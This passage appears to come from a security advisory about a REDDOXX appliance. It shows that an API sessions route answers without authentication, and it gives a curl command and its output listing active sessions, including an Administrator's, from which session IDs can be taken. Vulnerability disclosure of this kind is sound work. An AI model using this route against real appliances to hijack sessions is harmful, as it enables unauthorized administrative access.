to extract valid session IDs.
analyze the files in a typical REDDOXX appliance  installation.
extracted from the appliance's ISO, the supported routes were examined.
Most of them contain, in particular, the attribute 'Authenticate'.
Accessing this route on the appliance yields a list of active sessions.
No authentication is required for this access.
$ curl --silent http://www.example.com/api/v1/proxy/sessions | jq .
"Details": "rdx-build-in-service-user@local Last access: 22-5-17 10:26:17"
"Details": "Info@[...] Last access: 22-5-17 09:53:21"
"Details": "Administrator@[...] Last access: 22-5-17 10:09:30"
"Details": "rdx-build-in-service-user@local Last access: 22-5-17 10:11:19"
"Details": "rdx-build-in-service-user@local Last access: 22-5-17 13:13:19"
in rt-sa-2017-006 , which allows arbitrary file disclosure as root.